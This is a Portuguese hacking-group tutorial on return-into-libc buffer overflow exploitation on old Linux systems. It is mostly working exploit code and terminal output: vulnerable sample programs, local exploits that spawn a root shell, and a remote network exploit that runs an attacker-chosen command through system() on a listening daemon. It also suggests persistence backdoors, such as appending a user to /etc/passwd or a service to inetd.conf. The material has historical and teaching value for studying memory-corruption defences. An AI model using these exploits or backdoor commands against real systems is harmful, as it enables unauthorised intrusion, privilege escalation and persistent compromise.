############################################################################# ######################### CLUBE DOS MERCENARIOS ############################# ############################################################################# PRIVATE! PRIVATE! PRIMATIVO DOS MEMBROS E APOIADORES DO CLUBE DOS MERCENARIOS! NAO DISTRIBUA! "We don't need another hero.." (Tina Tunner) "Nao se tem nada a perder, quando nao se tem escolha." (Autor Desconhecido) Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Estes e outros textos podem ser obtidos em: http://XXXXX -> Mercenarios Page ou http://coracaodeleao.virtualave.net/ OBS: O autor nao se responsabiliza pelo mau uso das informacoes e dados disponibilizados neste documento. Este artigo possui somente carater educacional. OBS2: Script kiddies(defacers), Analistas de Seguranca da Banda Podre e Crackers favor nao lerem. ************************ * RETURN INTO LIBC * * (Introducao) * ************************ 1 - Introducao 2 - Exploitando Localmente 3 - Exploitando Remotamente 4 - Projeto Omega 5 - Terminando 5.1 - Links e Referencias 5.2 - Consideracoes Finais --------------- 1 - Introducao | --------------- Os buffer overflows ainda tem causado muita fascinacao e discussao. Ao longo dos anos parece ser uma das tecnicas de exploitacao mais discutidas e analisadas por pessoas que atuam no segmento de (In) seguranca da informacao. Desde sua massificacao ateh os dias de hoje, muitas tecnicas tem surgido com os mais variados intuitos. Abordaremos neste documento uma das inumeras tecnicas de buffer overflows, Return Into Libc. Conhecimentos de Escrita de Exploits Buffer Overflows, Depuracao(gdb) e Linux faz-se necessario. Os exemplos foram testados num Linux 2.4.18 (Slackware 8), yes! Slack!!:) --------------------------- 2 - Exploitando Localmente | --------------------------- Vamos comecar com o nosso programa alvo. --------------------------- alvo.c ------------------------------ #include int main(int argc, char *argv[1]){ char buffer[512]; strcpy(buffer,argv[1]); printf("%s\n",buffer); return 0; } ----------------------------------------------------------------- Como podemos ver, um programa vulneravel a "Stack Overflow" em strcpy(); Poderiamos usar as tecnicas descritas no meu "Tutorial de Escrita de Exploits para Buffer Overflows"(http://coracaodeleao.virtualave.net/) perfeitamente para exploitar este programa. Mas podemos ir mais alem e utilizarmos Return-into-Libc. Return-into-libc utiliza o mesmo conceito de "Smashing Stack" soh que ao invez de sobrescrevermos o endereco de retorno diretamente para o buffer alvo(nosso caso, char buffer[512]), sobrescrevemos para um endereco de uma funcao da libc(glibc) capaz de executar o que desejarmos. Esta tecnica foi bastante util pra explorar o StackPatch do Solar Designer. A tecnica foi massificada pelo proprio Solar Designer e depois foi pormenorizada por Rafal Wojtczuk(nergal) no famoso documento "Defeating Solar Designer non-executable stack patch" enviado para a Bugtraq em Janeiro de 1998(Veja Referencias). Podemos exploitar o programa alvo atraves de Return-Into-Libc fazendo o endereco de retorno apontar para varias funcoes da Libc, sendo que algumas delas nos sao bastante interessantes como system(). O metodo mais simples eh exploitar o programa alvo via system(), voces verao que nos nem se quer precisamos de um "exploit" para exploitar o programa alvo, no entanto algumas informacoes precisaremos colher para sermos bem sucedidos em sobrescrever o endereco de retorno de strcpy() de alvo.c para o endereco de system() na Libc. Sao elas: I - Endereco da Funcao system(): Atraves de depuracao no gdb(GNU Debugger) podemos capturar facilmente este endereco.Vejamos: root@kimera:/crawling/testes/rilc# gcc -o alvo alvo.c root@kimera:/crawling/testes/rilc# gdb ./alvo GNU gdb 5.2 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) break *main Breakpoint 1 at 0x8048430 (gdb) r Starting program: /crawling/testes/rilc/alvo Breakpoint 1, 0x08048430 in main () (gdb) p *system $1 = {} 0x40065974 <__libc_system> (gdb) Pronto. O endereco de system na libc eh 0x40065974. II - Capturar o endereco de uma variavel ambiente(Environment), que eh justamente aonde irah ficar o nosso comando(pode-se dizer Shellcode). Existem varias formas pra fazer isso tambem, mas podemos usar a seguinte(numa Bash 2.05a.0(1)): root@kimera:/crawling/testes/rilc# export EGG=`perl -e 'print "A" x2048'` root@kimera:/crawling/testes/rilc# gdb ./alvo GNU gdb 5.2 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) break *main Breakpoint 1 at 0x8048430 (gdb) r oi Starting program: /crawling/testes/rilc/alvo oi Breakpoint 1, 0x08048430 in main () (gdb) x/240x $esp 0xbffff0b0: 0x4003817d 0x00000002 0xbffff114 0xbffff120 0xbffff0c0: 0x080484b0 0x00000000 0xbffff0e8 0x4003814d 0xbffff0d0: 0x400143ac 0x00000002 0x08048350 0xbffff114 0xbffff0e0: 0x400380c0 0x4013acc0 0x00000000 0x08048371 0xbffff0f0: 0x08048430 0x00000002 0xbffff114 0x080482c0 0xbffff100: 0x080484b0 0x4000a534 0xbffff10c 0x400148ec ... ... 0xbffff530: 0x74712f62 0x302e332d 0x692f342e 0x756c636e 0xbffff540: 0x4c006564 0x4c415f43 0x4f503d4c 0x00584953 0xbffff550: 0x3d474745 0x41414141 0x41414141 0x41414141 0xbffff560: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff570: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff580: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff590: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141 ... ... Note que usamos o gdb para nos informar os enderecos proximos ao Stack Pointer e assim capturarmos os locais onde se encontra nossa variavel ambiente(0x41414141). Eh bom sermos bem seletivos na escolha do endereco, neste caso de exploitacao via system() eh bom escolhermos o meio do buffer. No nosso caso, podemos excolher 0xbffff5b0(obs: Atraves deste tipo de depuracao, em muitos casos, podemos capturar o retorno exato e criarmos exploits sem o uso de NOPs[trivial em variaveis ambientes]). III - O tamanho do Buffer alvo. Analisando o fonte saberiamos que eh 512. Somamos entao 512 + 4 para alcancarmos ESP. IV - Relacionar NOPs(0x90 - Instrucao Vazia) a Environment. Como estaremos utilizando system() para retornar. A funcao system eh definida para chamar a shell padrao /bin/sh com o argumento -c. Neste caso, para termos instrucoes vazias devemos utlizar o caracter de espaco, por exemplo: root@kimera:/crawling/testes/rilc# /bin/sh -c id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) O espaco eh "desconsiderado" ou considerado como uma instrucao vazia pela shell. Entao, nossa environment deve conter muitos NOPs(espacos vazios) e no fim o comando que desejamos executar, neste caso "/bin/sh" mesmo. Podemos entao com estas informacoes exploitarmos na unha o nosso problema alvo. Vamos ver abaixo, depois eu explico. root@kimera:/crawling/testes/rilc# export EGG=`perl -e 'print " "x2040; print "/bin/sh"'` root@kimera:/crawling/testes/rilc# ./alvo `perl -e 'print "A" x 516; print "\x74\x59\x06\x40"; print "NASH"; print "\xb0\xf5\xff\xbf";'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtY@NASH°oÿ¿ sh-2.05a# Bingo!:).. Como podemos notar, um exploit para buffer overflow pode ser criado na "Unha", sem a utilizacao de um exploit, de um compilador e etc. Se sabemos o que estamos fazendo, poderemos ser bem sucedidos em um ambiente "hostil". Um exploit em C para o mesmo programa alvo pode ser visto abaixo: --------------------------- exploit1.c --------------------------------- /* Exemplo de Exploit para Return Into Libc. * Nash Leon - nashleon@yahoo.com.br * Documento sobre Buffer Overflows - Return Into Libc. */ #include #include #include #include #define RETADDR 0xbffff5b0 #define SYSTEM 0x40065974 #define ENCHER 0x42424242 #define BUFLEN 516 // Tamanho do buffer alvo + 4 #define EGGLEN 4048 // Tamanho do buffer da environment. #define ERRO -1 #define COMANDO "/bin/sh" int main(int argc, char *argv[]){ char *buf, *ptr; char *egg; int i; unsigned long retaddr = RETADDR; unsigned long sysaddr = SYSTEM; if(argc > 1){ retaddr = retaddr + atoi(argv[1]); } egg = (char *)malloc((EGGLEN) + sizeof(COMANDO)); if(egg == NULL){ fprintf(stderr,"Nao foi possivel alocar memoria: egg!\n"); exit(ERRO); buf = (char *)malloc((BUFLEN) + sizeof(RETADDR) + sizeof(SYSTEM) + sizeof(ENCHER)); if(buf == NULL){ fprintf(stderr,"Nao foi possivel alocar memoria: buf!\n"); exit(ERRO); } ptr = egg; for(i = 0; i < (EGGLEN - sizeof(COMANDO) - 1); i++){ *(ptr++) = 0x20; // \x20 = espaco que equivale a NOP } for(i = 0; i < strlen(COMANDO); i++) { *(ptr++) = COMANDO[i]; } egg[EGGLEN - 1] = '\0'; memcpy(egg, "EGG=", 4); putenv(egg); for(i = 0; i < BUFLEN; i++){ buf[i] = 0x41; } *(long *)&buf[BUFLEN] = sysaddr; *(long *)&buf[BUFLEN+4] = ENCHER; *(long *)&buf[BUFLEN+4+4] = retaddr; execl("./alvo","./alvo",buf,NULL); return 0; } ----------------------------------------------------------------- root@kimera:/crawling/testes/rilc# gcc -o exploit exploit.c root@kimera:/crawling/testes/rilc# ./exploit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtY@BBBB°oÿ¿ sh-2.05a# O nome dado a esta tecnica eh "Simple Return-Into-Libc". Existem outros esquemas envolvendo Retorno sobre Libc que eu espero abordar num futuro proximo. ---------------------------- 3 - Exploitando Remotamente | ---------------------------- Exploitar remotamente utilizando esta tecnica pode parecer simples, mas no entanto requer que venhamos a solucionar alguns problemas. Por exemplo, o endereco da funcao system() varia de sistema para sistema, de modo que num ambiente hostil(neste caso, remoto), se nao pudermos "depurar" o programa alvo(e geralmente nao podemos), teremos que atacar utilizando Brute Force, e isto pode ser bem ruidoso, especialmente em redes mais seguras. Mas de qualquer modo, veremos neste artigo basico que eh possivel e espero citar algumas referencias de exploits para tal tecnica. Inicialmente iremos compilar nosso "daemon" alvo. ---------------------------- daemon.c ----------------------------- /* Exemplo de Daemon Vulneravel a Overflow. * Tutorial Sobre Return-Into-Libc. * Nash Leon - nashleon@yahoo.com.br */ #include #include #include #include #include #include #include #include #include #include #define ERRO -1 #define PORTA 5000 int Meusocket, New; int vulneravel(char *dados){ char buf[512]; int i; for(i =0; i < strlen(dados);i++){ buf[i] = dados[i]; } /* Somente para encher linguica */ if(!strcmp(buf,"quit")){ write(New,"Bye\n",5); } write(New,buf,strlen(buf)); return 0; } int main(int argc, char *argv[]){ struct sockaddr_in local; struct sockaddr_in remote; int n; char dados[1024]; Meusocket = socket (AF_INET,SOCK_STREAM,0); local.sin_family = AF_INET; local.sin_port = htons(PORTA); local.sin_addr.s_addr = INADDR_ANY; bzero(&(local.sin_zero),8); bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr)); listen(Meusocket, 5); while(1) { n = sizeof(struct sockaddr_in); if((New=accept(Meusocket, (struct sockaddr *)&remote,&n))==1) { perror("accept"); exit(1); } if(!fork()){ close(0); close(1); close(2); dup2(New, 0); dup2(New, 1); dup2(New,2); strcpy(dados,"Seja bem vindo! \n\nUsuario: "); write(New,dados,strlen(dados)); memset(dados,0,strlen(dados)); if(read(New,dados,sizeof(dados)) < 0){ perror("read()"); return -1; } vulneravel(dados); close(New); exit(0); } } return 0; } --------------------------------------------------------------------- O Buffer a ser exploitado estah na funcao vulneravel e se chama "buf". Iremos enviar entao nosso comando em forma de "backdoor"(escolhi por ser mais simples, ao meu ver) seguido no final de um ponto e virgula(;). Em seguida enviamos o endereco do comando shell(no nosso caso buf) e de system, ambos podem ser capturados com simples depuracao, conforme demosntrado no exemplo local(retire fork() do source se quiser facilitar ainda mais as coisas e execute gdb daemon ao invez de atacha-lo). A escolha da backdoor fica a criterio do atacante, existem varias que podem ser ativadas via system, como: echo user >> /etc/passwd; echo servico >> /etc/inetd.conf; xterm etc, etc... No meu simples exemplo, criei um arquivo chamado shell com a string "backdoor" dentro dele no diretorio /tmp. Exploit segue descrito abaixo: ------------------------------ exremot.c ----------------------------- /* Exploit Remoto para Ret-Into-Libc. * Nash Leon - nashleon@yahoo.com.br. * I Artigo sobre Return Into Libc. */ #include #include #include #include #include #include #include #include #include #include #define PORTA 5000 #define SIZE 516 // Tamanho do buffer + 4 #define NOP 0x20 #define SHELL 0xbffff514 #define SYSTEM 0x40065974 #define COMMAND "echo backdoor >> /tmp/shell;" #define ERROR -1 int main(int argc, char *argv[]) { char buffer[SIZE+8], sockbuffer[2048]; unsigned long shelladdr=SHELL, systemaddr=SYSTEM; struct sockaddr_in sin; struct hostent *he; int Sock, i; char *ptr; printf("Exemplo de exploit remoto ret-libc by NL\n\n"); if ( argc < 2 ) { printf("Uso: %s \n", argv[0]); exit(0); } if ( argc == 3 ) systemaddr += atoi(argv[2]); if( argc == 4) shelladdr += atoi(argv[3]); fprintf(stderr, "Tentando Exploitar %s...\n", argv[1]); fprintf(stderr, "Usando system address 0x%08lx. \n", systemaddr); fprintf(stderr, "Usando shell address 0x%08lx. \n", shelladdr); he = gethostbyname(argv[1]); if(he == NULL) { fprintf(stderr, "Unknow hostname : %s\n", strerror(errno)); exit(ERROR); } Sock = socket(AF_INET, SOCK_STREAM, 0); if(Sock < 0 ) { fprintf(stderr,"Error: Socket()!\n"); exit(ERROR); } sin.sin_family = AF_INET; sin.sin_port = htons(PORTA); memcpy(&sin.sin_addr, he->h_addr, he->h_length); bzero(&(sin.sin_zero), 8); fprintf(stdout, "Connecting... "); if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) { fprintf(stderr, "failed to %s:%d\n", argv[1], PORTA); exit(ERROR); } fprintf(stdout, "OK\n"); ptr = buffer; for(i = 0;i < (SIZE - sizeof(COMMAND) - 16); i++){ *(ptr++) = NOP; } for(i = 0; i < strlen(COMMAND); i++) { *(ptr++) = COMMAND[i]; } *(long *)&buffer[SIZE] = systemaddr; *(long *)&buffer[SIZE+4] = systemaddr; *(long *)&buffer[SIZE+4+4] = shelladdr; bzero(sockbuffer, sizeof(sockbuffer)); read(Sock,sockbuffer, sizeof(sockbuffer)); fprintf(stdout, "Sending exploit... "); write(Sock, buffer, 1024); write(Sock, "\r\n", 2); fprintf(stdout, "OK\n"); fprintf(stderr, "Check if exploited!!\n\n"); close(Sock); return 0; } ----------------------------------------------------------------------- root@kimera:/crawling/testes/rilc# ls /tmp root@kimera:/crawling/testes/rilc# ./exremot localhost Exemplo de exploit remoto ret-libc by NL Tentando Exploitar localhost... Usando system address 0x40065974. Usando shell address 0xbffff514. Connecting... OK Sending exploit... OK Check if exploited!! root@kimera:/crawling/testes/rilc# ls /tmp shell root@kimera:/crawling/testes/rilc# cat /tmp/shell backdoor Como podemos ver, funciona sem problemas!:) ------------------ 4 - Projeto Omega | ------------------ Alguns anos atras, um fucador alemao de nome lamagra desenvolveu um projeto de simplificacao da tecnica de return into libc denominado de Projeto Omega. Este projeto foi originalmente publicado em um zine de nome "corezine". A tecnica consistia basicamente em detectar os valores necessarios para exploitacao via system() em ret-libc de forma automatizada. Ele utilizou alguns conceitos entao jah amplamente conhecidos em uma ferramenta automatizadora. Utlizando shared library para facilitar ainda mais o entendimento teriamos o seguinte programa vulneravel: ---------------------------- hole.c ------------------------------- /* * The hole program. * Prints the address of system() in libc and overflows. */ #include #include main(int argc, char **argv) { char buf[8]; long addr; void *handle; handle = dlopen(NULL,RTLD_LAZY); addr = (long)dlsym(handle,"system"); printf("System() is at 0x%x\n",addr); if(argc > 1) strcpy(buf, argv[1]); } ------------------------------------------------------------------ Como podemos notar, o programa acima eh vulneravel a buffer overflow em strcpy() e o buffer alvo eh buf. root@kimera:/crawling/testes/rilc# gcc -o hole hole.c -ldl root@kimera:/crawling/testes/rilc# ./hole AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA System() is at 0x40069974 Segmentation fault Quando um programa compartilha bibliotecas, as funcoes da libc sao mapeadas dinamicamente. Neste caso, se torna trivial capturar a string /bin/sh e system(). O exploit exemplo do lamagra segue descrito abaixo: ---------------------------- omegaex.c ---------------------------------- /* * The exploit * Finds the address of system() in libc. * Searches for "/bin/sh" in the neighbourhood of system(). * (System() uses that string) * Lamagra */ #include #include main(int argc, char **argv) { int x,size; char *buf; long addr,shell,exitaddy; void *handle; if(argc != 3){ printf("Usage %s \n",argv[0]); exit(-1); } size = atoi(argv[1])+16; if((buf = malloc(size)) == NULL){ perror("can't allocate memory"); exit(-1); } handle = dlopen(NULL,RTLD_LAZY); addr = (long)dlsym(handle,"system"); printf("System() is at 0x%x\n",addr); if(!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { printf("system() contains a '0', sorry!"); exit(-1); } shell = addr; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); memset(buf,0x41,size); *(long *)&buf[size-16] = 0xbffffbbc; *(long *)&buf[size-12] = addr; *(long *)&buf[size-4] = shell; puts("Executing"); execl(argv[2],argv[2],buf,0x0); } ---------------------------------------------------------------------- root@kimera:/crawling/testes/rilc# gcc -o omegaex omegaex.c -ldl root@kimera:/crawling/testes/rilc# ./omegaex 8 ./hole System() is at 0x40069974 "/bin/sh" is at 0x40131b6d print /bin/sh Executing System() is at 0x40069974 sh-2.05a# Como podemos notar, nenhum sacrificio exploitar o programa alvo. Mas vamos agora ver o que este exploit faz por partes. Primeiramente ele captura o endereco de system() na libc utilizando dlopen() e dlsym() (Para maiores informacoes sobre bibliotecas compartilhadas, veja meu Tutorial de Programacao para Fucadores - http://coracaodeleao.virtualave.net/): long addr,shell,exitaddy; void *handle; .... handle = dlopen(NULL,RTLD_LAZY); addr = (long)dlsym(handle,"system"); printf("System() is at 0x%x\n",addr); Uma vez capturado o endereco de system, ele checa para ver se ha algum NULL byte. O StackPatch do Solar Designer e outros patches de kernel, acrescentam um NULL Byte(0x00) que dificulta a acao de buffer overflows que utilizam o stack como parametro de recebimento, ou seja. Funcoes que recebem parametros via linha de comando irao "parar" a copia de dados quando encontrarem um NULL Byte. Se o nosso endereco de system possuir um NULL Byte, entao, ficarah mais complicado(nao impossivel) atingirmos os registradores que desejamos sobrescrever. Abaixo estah o codigo que faz a checagem(original by Solar Designer): if(!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { printf("system() contains a '0', sorry!"); exit(-1); } Apos a checagem. O exploit entao procura a ocorrencia de /bin/sh mapeada no sistema: shell = addr; while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); Um vez encontrada a string, podemos preparar o buffer de envio contendo o layout: [Enchimento][Fake Frame][Endereco de System][Endereco da ShellString] Segue abaixo: memset(buf,0x41,size); *(long *)&buf[size-16] = 0xbffffbbc; *(long *)&buf[size-12] = addr; *(long *)&buf[size-4] = shell; Depois eh soh executar o programa alvo. Com base neste conceito, nos poderemos ir bem mais alem e expandirmos na criacao de exploits locais. Vejamos o seguinte programa alvo: ----------------------------- hole2.c ------------------------------- /* * The hole program. * Prints the address of system() in libc and overflows. */ #include main(int argc, char **argv) { char buf[256]; if(argc > 1) strcpy(buf, argv[1]); } -------------------------------------------------------------------- Compile sem suporte a shared library: root@kimera:/crawling/testes/rilc# gcc -o hole2 hole2.c Agora vamos criar um exploit utilizando o conceito de projeto Omega (pode-se dizer igual ao de Rafal e Solar Designer) sem utilizarmos "-ldl": ------------------------------ oex.c -------------------------------- /* Exploit utilizando conceito do Projeto Omega. * By Nash Leon. */ #include #include #define SYSTEM 0x40065974 #define SIZE 260 // buffer alvo + 4 int main(int argc, char *argv[]){ long sysaddr = SYSTEM, shelladdr; char buf[SIZE+4+4]; char *ptr; int i; printf("Endereco de system: 0x%x\n",sysaddr); shelladdr = sysaddr; //Incrementamos a partir de system(). // system() chama /bin/sh -c. while(memcmp((void*)shelladdr,"/bin/sh",8)) shelladdr++; printf("\"/bin/sh\" is at 0x%x\n",shelladdr); printf("print %s\n",shelladdr); memset(buf,0x41,sizeof(buf)); *(long *)&buf[SIZE] = sysaddr; *(long *)&buf[SIZE+4] = sysaddr; *(long *)&buf[SIZE+4+4] = shelladdr; execl("./hole2","./hole2",buf,NULL); return 0; } ---------------------------------------------------------------------- root@kimera:/crawling/testes/rilc# gcc -o oex oex.c root@kimera:/crawling/testes/rilc# ./oex Endereco de system: 0x40065974 "/bin/sh" is at 0x4012db6d print /bin/sh sh-2.05a# Bingo!!:).. Como vimos, fucando e usando a "malicia" entenderemos perfeitamente que nao precisamos compilar um programa com suporte a shared library para ele ser vitimado utilizando ret-libc. --------------- 5 - Terminando | --------------- Existe muito o que dizer ainda sobre Return Into Libc e eu jah tenho na agulha material semi-pronto sobre isso, que se Deus permitir, serah publicado muito em breve. As discussoes quanto a solucoes na area de seguranca e protecoes para dificultar este tipo de exploitacao serao discutidas nas mail lists apoiadas pelo Clube dos Mercenarios. Mas desde jah fica o incentivo a todos os fucadores correrem atras de maiores informacoes sobre isso. 5.1 - Links e Referencias -------------------------- "Using Environment for returning into Lib C" por Elie aka Lupin Bursztein; "The OMEGA project finished" by lamagra "Getting around non-executable stack (and fix)" por Solar Designer "Defeating Solar Designer non-executable stack patch" por Rafal Wojtczuk Outros Interessantes: Advanced return-into-lib(c) exploits (PaX case study) por Nergal Links Interessantes: http://XXXXX -> Clube dos Mercenarios http://coracaodeleao.virtualave.net/ http://www.microfobia.com/ http://www.infoshack.cjb.net/ http://unsekurity.virtualave.net/ http://int0x80.host.sk/ http://www.linuxsecurity.com.br/ 5.2 - Consideracoes Finais ---------------------------- Pensaram que eu havia morrido?:).. Ainda nao foi dessa vez! Ainda tenho disposicao pra disponibilizar mais infos e acreditem, eu voltei a estudar!:).. e se voltei a aprender, entao vou compartilhar figurinhas de nivel mais elevado no underground.. e eu espero que mais pessoas se beneficiem disso tudo. Estou apoiando o projeto Clube dos Mercenarios. Um meio criado por fucadores para liberar informacoes pras massas e trocar figurinhas entre si. Depois de longos 3 anos disponilizando informacoes, acho que estou mais experiente e eu espero que a disposicao venha a ser um dia igual a do inicio da unsek(comeco de 2000). Vespera de Guerra no Golfo, vejo que as coisas estao mais dificeis pra todo mundo, em todos os setores. E no hacking nao eh diferente. A Liberdade de informacao estah sendo reprimida e muito pouco se faz para uma alteracao de cenario. Pelo visto, as aguas vao rolar nessa direcao por um bom tempo. Usem sempre de forma conciente e benefica as informacoes disponibilizadas. Gostaria de agradecer a Jeovah Deus em primeiro lugar, depois aos membros e colaboradores do Clube dos Mercenarios e o pessoal que disponibiliza infos. Um Cordial Abraco, Nash Leon vulgo coracaodeleao. --------------------------------- EOF ----------------------------------